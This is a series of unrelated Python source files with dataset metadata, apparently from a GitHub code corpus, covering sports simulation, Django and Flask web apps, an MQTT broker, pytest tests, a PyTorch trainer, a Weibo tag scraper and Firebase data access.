self.sim_2_round()\n\n ## Add simulation result to the results_df\n self.results_df.loc[self.sagarins['In'], 'Win%'] += 100/self.n_sims\n\n def run_simulations(self):\n for _ in range(self.n_sims):\n self.simulate_bracket()\n\n return self.results_df\n \nif __name__ == '__main__':\n ## Set file directory as current directory\n os.chdir(os.path.dirname(os.path.abspath(__file__)))\n\n ## Load in sagarin ratings table\n sagarins = pd.read_csv('MM23_Sagarin.csv')\n n = 100\n stdev = 10\n sim = NCAA_simulation(sagarins, stdev = stdev, n_sims = n)\n\n cProfile.run('sim.run_simulations()', 'output.dat')\n\n with open(\"output_time.txt\", 'w') as f:\n p = pstats.Stats(\"output.dat\", stream = f)\n p.sort_stats(\"time\").print_stats()", "repo_name": "flynnswalker/Monte-Carlo-Simulation", "sub_path": "Other Versions/monte_carlo_py_v2.py", "file_name": "monte_carlo_py_v2.py", "file_ext": "py", "file_size_in_byte": 4899, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "scipy.stats.norm.cdf", "line_number": 22, "usage_type": "call"}, {"api_name": "scipy.stats.norm", "line_number": 22, "usage_type": "name"}, {"api_name": "random.random", "line_number": 27, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path", "line_number": 128, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 128, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 131, "usage_type": "call"}, {"api_name": "cProfile.run", "line_number": 136, "usage_type": "call"}, {"api_name": "pstats.Stats", "line_number": 139, "usage_type": "call"}]} +{"seq_id": "19237580738", "text": "from django.urls import path\nfrom . import views\n \napp_name = 'lbdd'\n\nurlpatterns = [\n path('d3gen/',views.d3gen,name='d3gen'),\n path('amesprediction/',views.amespred,name='property_prediction'),\n path('molfilter/',views.molfilter,name='molecules_filter'),\n path('stringtest/<str:strcha>/',views.strtest,name='strtest'), \n]", "repo_name": "cesc-fabregas2020/myweb", "sub_path": "githubproject/lbdd/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 335, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}]} +{"seq_id": "28499439133", "text": "import logging\nimport asyncio\nimport os\nfrom hbmqtt.broker import Broker\n\nlogger = logging.getLogger(__name__)\nconfig = {\n 'listeners': {\n 'default': {\n 'type': 'tcp',\n 'bind': '0.0.0.0:1883',\n }\n ,\n 'ws-mqtt': {\n 'bind': '127.0.0.1:8888',\n 'type': 'ws',\n },\n },\n 'sys_interval': 10,\n 'auth': {\n 'allow-anonymous': True,\n 'plugins': [\n 'auth_file', 'auth_anonymous'\n ]\n\n }\n}\n\nbroker = Broker(config)\n\n\n@asyncio.coroutine\ndef start_broker():\n yield from broker.start()\n\n\nif __name__ == '__main__':\n formatter = \"[%(asctime)s] :: %(levelname)s :: %(name)s :: %(message)s\"\n logging.basicConfig(level=logging.INFO, format=formatter)\n asyncio.get_event_loop().run_until_complete(start_broker())\n asyncio.get_event_loop().run_forever()\n", "repo_name": "vasco-santos/ngmqtt", "sub_path": "test/broker.py", "file_name": "broker.py", "file_ext": "py", "file_size_in_byte": 871, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.getLogger", "line_number": 6, "usage_type": "call"}, {"api_name": "hbmqtt.broker.Broker", "line_number": 29, "usage_type": "call"}, {"api_name": "asyncio.coroutine", "line_number": 32, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 39, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 39, "usage_type": "attribute"}, {"api_name": "asyncio.get_event_loop", "line_number": 40, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 41, "usage_type": "call"}]} +{"seq_id": "11510676970", "text": "import os\nimport shutil\nimport pytest\nfrom hg_cache.constants import ENVVAR_HG_CACHE\nfrom hg_cache.cacheutils import HgCacheConfigError\nfrom hg_cache.cacheutils import HgCacheOperationError\nfrom hg_cache.cacheutils import HgCacheInconsistentError\nfrom hg_cache.cacheutils import initialize_cache\nfrom hg_cache.hgutils import hg_config_set_default_remote\nfrom hg_cache.hgutils import hg_spoil_extra_changeset\nfrom hg_cache.hgutils import hg_spoil_local_changes\n\n\ndef test_initialize_cache_no_envvar():\n os.environ.pop(ENVVAR_HG_CACHE(), None)\n with pytest.raises(HgCacheConfigError):\n initialize_cache(None, None)\n\n\ndef test_initialize_cache_not_a_dir(tmpdir):\n f = tmpdir / \"file.txt\"\n f.write(\"the text\")\n os.environ[ENVVAR_HG_CACHE()] = str(f)\n with pytest.raises(HgCacheConfigError):\n initialize_cache(None, None)\n\n\ndef test_initialize_cache_nonexistent(prepare_repos):\n (_, cache, remote) = prepare_repos\n os.environ[ENVVAR_HG_CACHE()] = \\\n os.path.join(cache, \"more\", \"directories\", \"to\", \"cache\")\n cache_dir = initialize_cache(None, remote)\n assert cache_dir != \"\"\n\n\ndef test_initialize_cache_not_repo(prepare_repos):\n (_, _, remote) = prepare_repos\n shutil.rmtree(os.path.join(os.path.join(remote, \".hg\")))\n os.environ[ENVVAR_HG_CACHE()] = remote\n with pytest.raises(HgCacheOperationError):\n initialize_cache(None, remote)\n\n\ndef test_initialize_cache_irrelevant_remote(prepare_repos, foreign_repo):\n (_, cache, remote) = prepare_repos\n os.environ[ENVVAR_HG_CACHE()] = cache\n cache_dir = initialize_cache(None, remote)\n assert cache_dir == cache\n hg_config_set_default_remote(cache_dir, foreign_repo)\n with pytest.raises(HgCacheInconsistentError):\n initialize_cache(None, remote)\n\n\ndef test_initialize_cache_extraslash(prepare_repos):\n (_, cache, remote) = prepare_repos\n os.environ[ENVVAR_HG_CACHE()] = cache\n cache_dir = initialize_cache(None, remote)\n assert cache_dir == cache\n hg_config_set_default_remote(cache_dir, remote + \"/\")\n initialize_cache(None, remote)\n\n\ndef test_initialize_cache_have_outgoing(prepare_repos):\n (_, cache, remote) = prepare_repos\n os.environ[ENVVAR_HG_CACHE()] = cache\n cache_dir = initialize_cache(None, remote)\n assert cache_dir == cache\n hg_config_set_default_remote(cache_dir, remote)\n hg_spoil_extra_changeset(cache_dir)\n os.environ[ENVVAR_HG_CACHE()] = cache\n with pytest.raises(HgCacheInconsistentError):\n initialize_cache(None, remote)\n\n\ndef test_initialize_cache_have_local_changes(prepare_repos):\n (_, cache, remote) = prepare_repos\n os.environ[ENVVAR_HG_CACHE()] = cache\n cache_dir = initialize_cache(None, remote)\n assert cache_dir == cache\n hg_config_set_default_remote(cache_dir, remote)\n hg_spoil_local_changes(cache_dir)\n os.environ[ENVVAR_HG_CACHE()] = cache\n with pytest.raises(HgCacheInconsistentError):\n cache_dir = initialize_cache(None, remote)\n", "repo_name": "trassir/hg-cache", "sub_path": "tests/cacheutils_test.py", "file_name": "cacheutils_test.py", "file_ext": "py", "file_size_in_byte": 2980, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.environ.pop", "line_number": 15, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 15, "usage_type": "attribute"}, {"api_name": "hg_cache.constants.ENVVAR_HG_CACHE", "line_number": 15, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 16, "usage_type": "call"}, {"api_name": "hg_cache.cacheutils.HgCacheConfigError", "line_number": 16, "usage_type": "argument"}, {"api_name": "hg_cache.cacheutils.initialize_cache", "line_number": 17, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 23, "usage_type": "attribute"}, {"api_name": "hg_cache.constants.ENVVAR_HG_CACHE", "line_number": 23, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 24, "usage_type": "call"}, {"api_name": "hg_cache.cacheutils.HgCacheConfigError", "line_number": 24, "usage_type": "argument"}, {"api_name": "hg_cache.cacheutils.initialize_cache", "line_number": 25, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 30, "usage_type": "attribute"}, {"api_name": "hg_cache.constants.ENVVAR_HG_CACHE", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "hg_cache.cacheutils.initialize_cache", "line_number": 32, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 39, "usage_type": "attribute"}, {"api_name": "hg_cache.constants.ENVVAR_HG_CACHE", "line_number": 39, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 40, "usage_type": "call"}, {"api_name": "hg_cache.cacheutils.HgCacheOperationError", "line_number": 40, "usage_type": "argument"}, {"api_name": "hg_cache.cacheutils.initialize_cache", "line_number": 41, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 46, "usage_type": "attribute"}, {"api_name": "hg_cache.constants.ENVVAR_HG_CACHE", "line_number": 46, "usage_type": "call"}, {"api_name": "hg_cache.cacheutils.initialize_cache", "line_number": 47, "usage_type": "call"}, {"api_name": "hg_cache.hgutils.hg_config_set_default_remote", "line_number": 49, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 50, "usage_type": "call"}, {"api_name": "hg_cache.cacheutils.HgCacheInconsistentError", "line_number": 50, "usage_type": "argument"}, {"api_name": "hg_cache.cacheutils.initialize_cache", "line_number": 51, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 56, "usage_type": "attribute"}, {"api_name": "hg_cache.constants.ENVVAR_HG_CACHE", "line_number": 56, "usage_type": "call"}, {"api_name": "hg_cache.cacheutils.initialize_cache", "line_number": 57, "usage_type": "call"}, {"api_name": "hg_cache.hgutils.hg_config_set_default_remote", "line_number": 59, "usage_type": "call"}, {"api_name": "hg_cache.cacheutils.initialize_cache", "line_number": 60, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 65, "usage_type": "attribute"}, {"api_name": "hg_cache.constants.ENVVAR_HG_CACHE", "line_number": 65, "usage_type": "call"}, {"api_name": "hg_cache.cacheutils.initialize_cache", "line_number": 66, "usage_type": "call"}, {"api_name": "hg_cache.hgutils.hg_config_set_default_remote", "line_number": 68, "usage_type": "call"}, {"api_name": "hg_cache.hgutils.hg_spoil_extra_changeset", "line_number": 69, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 70, "usage_type": "attribute"}, {"api_name": "hg_cache.constants.ENVVAR_HG_CACHE", "line_number": 70, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 71, "usage_type": "call"}, {"api_name": "hg_cache.cacheutils.HgCacheInconsistentError", "line_number": 71, "usage_type": "argument"}, {"api_name": "hg_cache.cacheutils.initialize_cache", "line_number": 72, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 77, "usage_type": "attribute"}, {"api_name": "hg_cache.constants.ENVVAR_HG_CACHE", "line_number": 77, "usage_type": "call"}, {"api_name": "hg_cache.cacheutils.initialize_cache", "line_number": 78, "usage_type": "call"}, {"api_name": "hg_cache.hgutils.hg_config_set_default_remote", "line_number": 80, "usage_type": "call"}, {"api_name": "hg_cache.hgutils.hg_spoil_local_changes", "line_number": 81, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 82, "usage_type": "attribute"}, {"api_name": "hg_cache.constants.ENVVAR_HG_CACHE", "line_number": 82, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 83, "usage_type": "call"}, {"api_name": "hg_cache.cacheutils.HgCacheInconsistentError", "line_number": 83, "usage_type": "argument"}, {"api_name": "hg_cache.cacheutils.initialize_cache", "line_number": 84, "usage_type": "call"}]} +{"seq_id": "4142452056", "text": "#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n# File : train.py\n# Author : Jiayuan Mao\n# Email : maojiayuan@gmail.com\n# Date : 02/27/2018\n#\n# This file is part of Jacinle.\n# Distributed under terms of the MIT license.\n\nimport time\n\nimport torch\n\nfrom jacinle.utils.meter import GroupMeters\nfrom jactorch.data.dataloader.dataloader import JacDataLoader\nfrom jactorch.optim.quickaccess import get_optimizer\nfrom jactorch.utils.meta import as_numpy, as_float, as_tensor\nfrom jacinle.logging import get_logger\n\nlogger = get_logger(__file__)\n\n__all__ = ['simple_fit', 'ModelTrainer']\n\n\ndef simple_fit(model, loss_function, dataset, optimizer, epochs, lr=0.01, weight_decay=0, print_interval=1, batch_size=None, **opt_kwargs):\n optimizer = get_optimizer(optimizer, model, lr=lr, weight_decay=weight_decay, **opt_kwargs)\n\n if batch_size is None:\n dataloader = dataset\n else:\n dataloader = JacDataLoader(dataset, batch_size=batch_size, shuffle=True, drop_last=True)\n\n iterations = 1\n model.train()\n for epoch_index in range(1, 1 + epochs):\n for data_index, data in enumerate(dataloader):\n optimizer.zero_grad()\n loss, monitors = loss_function(model, data)\n loss.backward()\n optimizer.step()\n if iterations % print_interval == 0:\n logger.info(f'Epoch {epoch_index} Index {data_index} (Iteration {iterations}): loss = {loss.item():.4f}, monitors={monitors}.')\n iterations += 1\n\n\nclass ModelTrainer(object):\n def __init__(self, model, optimizer, lr=0.01, weight_decay=0, **opt_kwargs):\n optimizer = get_optimizer(optimizer, model, lr=lr, weight_decay=weight_decay, **opt_kwargs)\n self._model = model\n self._optimizer = optimizer\n\n def train_step(self, feed_dict, meters=None):\n assert self._model.training\n feed_dict = as_tensor(feed_dict)\n\n self._optimizer.zero_grad()\n loss, monitors, output_dict = self._model(feed_dict)\n loss.backward()\n self._optimizer.step()\n\n loss, monitors = map(as_float, [loss, monitors])\n if meters is not None:\n meters.update(loss=loss)\n meters.update(monitors)\n\n return as_float(loss)\n\n def train_epoch(self, data_loader, meters=None):\n if meters is None:\n meters = GroupMeters()\n\n self._model.train()\n end = time.time()\n for fd in data_loader:\n data_time = time.time() - end; end = time.time()\n self.train_step(fd, meters=meters)\n step_time = time.time() - end; end = time.time()\n meters.update({'time/data': data_time, 'time/step': step_time})\n return meters\n\n def train(self, data_loader, nr_epochs, verbose=True, meters=None, early_stop=None, print_interval=1):\n if meters is None:\n meters = GroupMeters()\n\n for epoch in range(1, 1 + nr_epochs):\n meters.reset()\n self.train_epoch(data_loader, meters=meters)\n if verbose and epoch % print_interval == 0:\n caption = 'Epoch: {}:'.format(epoch)\n logger.info(meters.format_simple(caption))\n if early_stop is not None:\n flag = early_stop(self._model)\n if flag:\n break\n\n def validate_step(self, feed_dict, metric, meters=None):\n feed_dict_np = as_numpy(feed_dict)\n feed_dict = as_tensor(feed_dict)\n with torch.no_grad():\n output_dict = self._model(feed_dict)\n output_dict_np = as_numpy(output_dict)\n result = as_float(metric(feed_dict_np, output_dict_np))\n if meters is not None:\n meters.update(result)\n return result\n\n def validate(self, data_loader, metric, meters=None):\n if meters is None:\n meters = GroupMeters()\n\n self._model.eval()\n end = time.time()\n for fd in data_loader:\n data_time = time.time() - end; end = time.time()\n self.validate_step(fd, metric, meters=meters)\n step_time = time.time() - end; end = time.time()\n meters.update({'time/data': data_time, 'time/step': step_time})\n\n return meters.avg\n", "repo_name": "vacancy/Jacinle", "sub_path": "jactorch/quickstart/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 4230, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 122, "dataset": "github-code", "pt": "16", "api": [{"api_name": "jacinle.logging.get_logger", "line_number": 21, "usage_type": "call"}, {"api_name": "jactorch.optim.quickaccess.get_optimizer", "line_number": 27, "usage_type": "call"}, {"api_name": "jactorch.data.dataloader.dataloader.JacDataLoader", "line_number": 32, "usage_type": "call"}, {"api_name": "jactorch.optim.quickaccess.get_optimizer", "line_number": 49, "usage_type": "call"}, {"api_name": "jactorch.utils.meta.as_tensor", "line_number": 55, "usage_type": "call"}, {"api_name": "jactorch.utils.meta.as_float", "line_number": 62, "usage_type": "argument"}, {"api_name": "jactorch.utils.meta.as_float", "line_number": 67, "usage_type": "call"}, {"api_name": "jacinle.utils.meter.GroupMeters", "line_number": 71, "usage_type": "call"}, {"api_name": "time.time", "line_number": 74, "usage_type": "call"}, {"api_name": "time.time", "line_number": 76, "usage_type": "call"}, {"api_name": "time.time", "line_number": 78, "usage_type": "call"}, {"api_name": "jacinle.utils.meter.GroupMeters", "line_number": 84, "usage_type": "call"}, {"api_name": "jactorch.utils.meta.as_numpy", "line_number": 98, "usage_type": "call"}, {"api_name": "jactorch.utils.meta.as_tensor", "line_number": 99, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 100, "usage_type": "call"}, {"api_name": "jactorch.utils.meta.as_numpy", "line_number": 102, "usage_type": "call"}, {"api_name": "jactorch.utils.meta.as_float", "line_number": 103, "usage_type": "call"}, {"api_name": "jacinle.utils.meter.GroupMeters", "line_number": 110, "usage_type": "call"}, {"api_name": "time.time", "line_number": 113, "usage_type": "call"}, {"api_name": "time.time", "line_number": 115, "usage_type": "call"}, {"api_name": "time.time", "line_number": 117, "usage_type": "call"}]} +{"seq_id": "73574390407", "text": "# -*- coding: utf-8 -*-\nimport urllib2\nimport json\naccess_token =\"2.00Hk5I5B3mz1gE5d178adxxxxxx\" # 输入Token，类似2.00Hk5I5B3mz1gE5d178ada3XXXXX\nwith open('./ids.csv') as f:\n content=f.read()\n##print content\nids=content.split('\\n')[:-1]\nurl0=\"https://api.weibo.com/2/tags/tags_batch.json?access_token=\"+access_token+\"&uids=\"\ndef count_tags(uids,tags):\n url=url0+'%2C'.join(uids)\n html=urllib2.urlopen(url).read()\n users_tags=json.loads(html)\n for user in users_tags:\n tags0=user['tags']\n for i in tags0:\n for j in i:\n if j!=\"weight\":\n tags[i[j]]=tags.get(i[j],0)+1\ntags={}\nn=0\nwhile n<len(ids):\n count_tags(ids[n:n+20],tags)\n n=n+20\ntags_text=['%s,%s'% (k,v) for k,v in tags.items()]\nwith open('../tags.csv','w') as f:\n f.write('\\n'.join(tags_text).encode('gbk','ignore')) \n", "repo_name": "cloga/crawl_weibotags", "sub_path": "weibotags.py", "file_name": "weibotags.py", "file_ext": "py", "file_size_in_byte": 863, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "urllib2.urlopen", "line_number": 12, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 13, "usage_type": "call"}]} +{"seq_id": "40889554820", "text": "from flask import Flask, render_template, flash, request, redirect, url_for\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, SubmitField, TextAreaField\nfrom wtforms.validators import DataRequired\nfrom sqlalchemy import create_engine, MetaData, Table, Column, Integer, String, Text, DateTime, desc\nfrom datetime import datetime\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'a really really really really long secret key'\n\nengine = create_engine('sqlite:///posts.db')\nconn = engine.connect()\n\nmetadate = MetaData()\n\nPostDB = Table('posts', metadate,\n Column('id', Integer(), primary_key=True),\n Column('title', String(200), nullable=False),\n Column('slug', String(200), nullable=False),\n Column('text', Text, nullable=False),\n Column('date', DateTime, default=datetime.utcnow))\n\nmetadate.create_all(engine)\n\n\nclass FormPost(FlaskForm):\n title = StringField(\"Заголовок: \", validators=[DataRequired()])\n slug = StringField(\"Кратко: \", validators=[DataRequired()])\n text = TextAreaField(\"Текст: \", validators=[DataRequired()])\n submit = SubmitField('Отправить')\n\n\n@app.route('/')\ndef index():\n t = PostDB.select().order_by(desc(PostDB.c.date))\n r = conn.execute(t)\n ans = r.fetchall()\n return render_template('index.html', objects=ans, title='POST')\n\n\n@app.route('/post/<int:id>')\ndef post_id(id):\n pstid = f'POST #{id}'\n t = PostDB.select().where(PostDB.c.id == id)\n r = conn.execute(t)\n tt = r.fetchall()\n print(tt[0][4].date())\n return render_template('post-id.html', title=pstid, object=tt)\n\n\n@app.route('/post/new', methods=['POST', 'GET'])\ndef post_new():\n form = FormPost()\n if request.method == 'POST':\n if form.validate_on_submit():\n title = request.form['title']\n slug = request.form['slug']\n text = request.form['text']\n ins = PostDB.insert().values(\n {'title': title, 'slug': slug, 'text': text}\n )\n conn.execute(ins)\n conn.commit()\n return redirect(url_for('index'))\n # flash('Message Received', 'success')\n return render_template('post-new.html', form=form)\n\n\n@app.route('/post/<int:id>/update', methods=['POST', 'GET'])\ndef post_update(id):\n form = FormPost()\n ins = PostDB.select().where(PostDB.c.id == id)\n s = conn.execute(ins)\n ans = s.fetchall()[0]\n form.title.data = ans[1]\n form.slug.data = ans[2]\n form.text.data = ans[3]\n titlep = f'POST-{id} update'\n if request.method == 'POST':\n title = request.form['title']\n slug = request.form['slug']\n text = request.form['text']\n s = PostDB.update().where(PostDB.c.id == id).values(title=title, slug=slug, text=text)\n upd = conn.execute(s)\n conn.commit()\n return redirect(url_for('post_id', id=id))\n return render_template('post-update.html', title=titlep, form=form, ans=ans)\n\n\n@app.route('/post/<int:id>/delete', methods=['GET', 'POST'])\ndef post_delete(id):\n if request.method == 'POST':\n if request.form['del'] == 'yes':\n de = PostDB.delete().where(PostDB.c.id == id)\n ed = conn.execute(de)\n conn.commit()\n return redirect(url_for('index'))\n else:\n return redirect(url_for('post_id', id=id))\n\n titlep = f'delete post #{id}'\n d = PostDB.select().where(PostDB.c.id == id)\n s = conn.execute(d)\n a = s.fetchall()\n name = a[0][1]\n return render_template('post-delete.html', title=titlep, name=name)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "repo_name": "vladomir-smit/site-posts", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 3664, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 11, "usage_type": "call"}, {"api_name": "sqlalchemy.MetaData", "line_number": 14, "usage_type": "call"}, {"api_name": "sqlalchemy.Table", "line_number": 16, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 17, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 17, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 18, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 18, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 19, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 19, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 20, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 20, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 21, "usage_type": "argument"}, {"api_name": "datetime.datetime.utcnow", "line_number": 21, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 21, "usage_type": "name"}, {"api_name": "flask_wtf.FlaskForm", "line_number": 26, "usage_type": "name"}, {"api_name": "wtforms.StringField", "line_number": 27, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 27, "usage_type": "call"}, {"api_name": "wtforms.StringField", "line_number": 28, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 28, "usage_type": "call"}, {"api_name": "wtforms.TextAreaField", "line_number": 29, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 29, "usage_type": "call"}, {"api_name": "wtforms.SubmitField", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.desc", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 54, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 54, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 56, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 56, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 57, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 57, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 58, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 58, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 66, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 79, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 79, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 80, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 80, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 81, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 81, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 82, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 82, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 86, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 86, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 87, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 92, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 92, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 93, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 93, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 97, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 97, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 99, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 99, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 106, "usage_type": "call"}]} +{"seq_id": "41786524660", "text": "import firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import db\nfrom datetime import datetime, timedelta, date, time\nimport polars as pl\n\ncred = credentials.Certificate(\"serviceAccountKey.json\")\nfirebase_admin = firebase_admin.initialize_app(cred, {'databaseURL': 'https://friendly-bazaar-334818-default-rtdb.firebaseio.com'})\n\nroot_ref = db.reference('/yet_another_test/')\n\ndef ord_dict_to_df(data: dict) -> pl.DataFrame:\n \"\"\"\n Converts a dictionary of dictionaries to a DataFrame.\n\n Parameters\n ----------\n data : dict\n The dictionary of dictionaries.\n Returns\n -------\n A DataFrame.\n \"\"\"\n # convert the keys to datetime objects\n index = [datetime.fromtimestamp(float(key) / 1000) for key in data.keys()]\n # convert the data to a DataFrame, but it doesn't accept the dtype int in the constructor, for some reason\n schema = {f'p{i:02}': pl.Int32 for i in range(12)}\n result = pl.DataFrame(list(data.values()), schema=schema).with_columns([\n pl.Series(name=\"index\", values=index),\n ])\n # convert the DataFrame elements to integers no greater than 4096\n predicate = pl.all(pl.all().exclude(\"index\") < 4096)\n return result.filter(predicate)\n\ndef get_data_from_day(day: str) -> pl.DataFrame:\n \"\"\"\n Gets the data from a specific day.\n\n Parameters\n ----------\n day : date\n The day to get the data from.\n Returns\n -------\n A DataFrame.\n \"\"\"\n\n result = root_ref.child(day).get()\n if result is None:\n return pl.DataFrame()\n data = ord_dict_to_df(result)\n\n return data\n\ndef get_current_data() -> pl.DataFrame:\n \"\"\"\n Gets the data currently being sent by the sensors.\n If there's no data being sent, an empty DataFrame is returned.\n\n Returns\n -------\n A one-row DataFrame.\n \"\"\"\n today_data = get_data_from_day(date.today().strftime(\"%Y-%m-%d\"))\n if today_data.shape[0] == 0:\n return today_data\n else:\n today_data = today_data.sort(\"index\").reverse()\n current_time = datetime.now()\n # the sensors take around 500ms to send the data, so 1 second is a safe threshold\n threshold = timedelta(seconds=1)\n if current_time - today_data[\"index\"][0] < threshold:\n return today_data.head(1)\n else:\n return pl.DataFrame()\n\ndef get_last_active_day_data() -> tuple[date, pl.DataFrame]:\n \"\"\"\n Gets the data from the last day that has data.\n If there's no data, an empty DataFrame is returned.\n\n Returns\n -------\n A tuple with the date and the DataFrame.\n \"\"\"\n days = list(root_ref.get(shallow=True).keys())\n if len(days) == 0:\n return date.today(), pl.DataFrame()\n days.sort()\n return date.fromisoformat(days[-1]), get_data_from_day(days[-1])\n", "repo_name": "PostureAnalytics/SmartChair-UI", "sub_path": "modules/database_manager.py", "file_name": "database_manager.py", "file_ext": "py", "file_size_in_byte": 2839, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "firebase_admin.credentials.Certificate", "line_number": 7, "usage_type": "call"}, {"api_name": "firebase_admin.credentials", "line_number": 7, "usage_type": "name"}, {"api_name": "firebase_admin.initialize_app", "line_number": 8, "usage_type": "call"}, {"api_name": "firebase_admin.db.reference", "line_number": 10, "usage_type": "call"}, {"api_name": "firebase_admin.db", "line_number": 10, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 25, "usage_type": "name"}, {"api_name": "polars.Int32", "line_number": 27, "usage_type": "attribute"}, {"api_name": "polars.DataFrame", "line_number": 28, "usage_type": "call"}, {"api_name": "polars.Series", "line_number": 29, "usage_type": "call"}, {"api_name": "polars.all", "line_number": 32, "usage_type": "call"}, {"api_name": "polars.DataFrame", "line_number": 12, "usage_type": "attribute"}, {"api_name": "polars.DataFrame", "line_number": 50, "usage_type": "call"}, {"api_name": "polars.DataFrame", "line_number": 35, "usage_type": "attribute"}, {"api_name": "datetime.date.today", "line_number": 